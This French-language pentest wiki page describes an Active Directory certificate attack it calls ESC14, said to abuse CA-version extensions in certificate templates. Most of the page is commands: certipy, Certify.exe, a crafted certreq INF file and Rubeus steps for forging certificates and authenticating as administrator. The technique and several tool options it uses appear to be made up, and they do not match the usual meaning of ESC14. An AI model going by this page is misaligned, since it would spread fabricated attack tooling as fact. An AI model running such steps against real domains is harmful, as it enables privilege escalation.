Aller au contenu

ESC14

Description

ESC14 exploite des modèles de certificats qui utilisent des attributs szOID_CERTSRV_CA_VERSION ou des extensions de version CA malformées, permettant à un attaquant de créer des certificats avec des informations de version CA manipulées qui peuvent contourner certaines vérifications de validation ou être utilisées pour l'usurpation d'autorité de certification.

Conditions vulnérables

Un modèle de certificat est vulnérable à ESC14 si :

  1. Extensions de version CA manipulables - Le modèle permet la modification des attributs szOID_CERTSRV_CA_VERSION
  2. Validation insuffisante des extensions - La CA n'effectue pas de validation stricte des extensions de version
  3. Enrollment autorisé - L'utilisateur a les droits Enroll ou AutoEnroll
  4. Contournement possible des vérifications - Les applications clientes acceptent des versions CA malformées

Exploitation depuis linux (certipy)

Enumération des templates avec extensions de version vulnérables :

certipy find -u [email protected] -p password -target dc01.domain.local

# Énumération avec focus sur les extensions CA
certipy find -u [email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json 

# Recherche spécifique des templates avec CA version extensions
certipy find -u [email protected] -p password -target dc01.domain.local -vulnerable | grep -A10 -B5 "CA.*Version\|szOID_CERTSRV"

Exploitation avec manipulation de version CA :

# Demande d'un certificat avec version CA manipulée
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'CAVersionTemplate' -ca-version "2.0.fake.version"

# Avec forge d'attributs CA spécifiques
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'VersionTemplate' -ca-version "1.0" -ca-info "Fake CA Information"

Exploitation avec certificat de CA usurpée :

# Tentative de création d'un certificat se faisant passer pour une autre CA
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'CAVersionTemplate' -upn [email protected] -ca-version "Enterprise-Root-CA-v1.0"

Authentification avec le certificat manipulé :

# Authentification avec le certificat à version CA falsifiée
certipy auth -pfx user.pfx -username user -domain domain.local -dc-ip 192.168.1.10

# Si usurpation CA réussie
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip 192.168.1.10

Exploitation depuis windows (certify.exe)

Enumération des templates vulnérables :

# Énumération des modèles vulnérables 
Certify.exe find /vulnerable 

# Filtrage spécifique ESC14 - CA version extensions
Certify.exe find /vulnerable | findstr "CA.*Version\|szOID_CERTSRV"

# Vérification manuelle des extensions CA
Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * | Where-Object {
    $_.'msPKI-Certificate-Name-Flag' -ne $null -or $_.'msPKI-Minimal-Key-Size' -ne $null
} | ForEach-Object {
    certutil -v -template $_.Name | findstr "CA.*Version\|Extension"
}

Exploitation du template vulnérable :

# Demande d'un certificat avec version CA manipulée
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:CAVersionTemplate /caversion:"2.0.malicious"

# Avec attributs CA personnalisés
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:VersionTemplate /caversion:"Enterprise-Root-v1.0" /altname:administrator@domain.local

Manipulation via certreq avec INF personnalisé :

# Création d'un fichier INF avec version CA manipulée
@"
[NewRequest]
Subject = "CN=user,OU=Users,DC=domain,DC=local"
KeyUsage = DigitalSignature,KeyEncipherment
ProviderName = "Microsoft Enhanced Cryptographic Provider v1.0"
KeyLength = 2048
RequestType = PKCS10

[Extensions]
1.3.6.1.4.1.311.21.1 = "{text}2.0.fake.ca.version"
1.3.6.1.4.1.311.21.2 = "{text}Malicious CA Info"
"@ | Out-File -FilePath "malicious_request.inf" -Encoding ASCII

# Soumission de la demande
certreq -new malicious_request.inf malicious_request.req
certreq -submit -config "DC01.domain.local\domain-DC01-CA" malicious_request.req malicious_cert.cer

Authentification avec le certificat obtenu :

# Conversion du certificat si nécessaire
certutil -mergePFX malicious_cert.cer,private_key.key malicious_cert.pfx

# Authentification avec le certificat 
Rubeus.exe asktgt /user:user /certificate:malicious_cert.pfx /password:password123 /ptt

# Test d'usurpation si version CA acceptée
Rubeus.exe asktgt /user:administrator /certificate:malicious_cert.pfx /password:password123 /ptt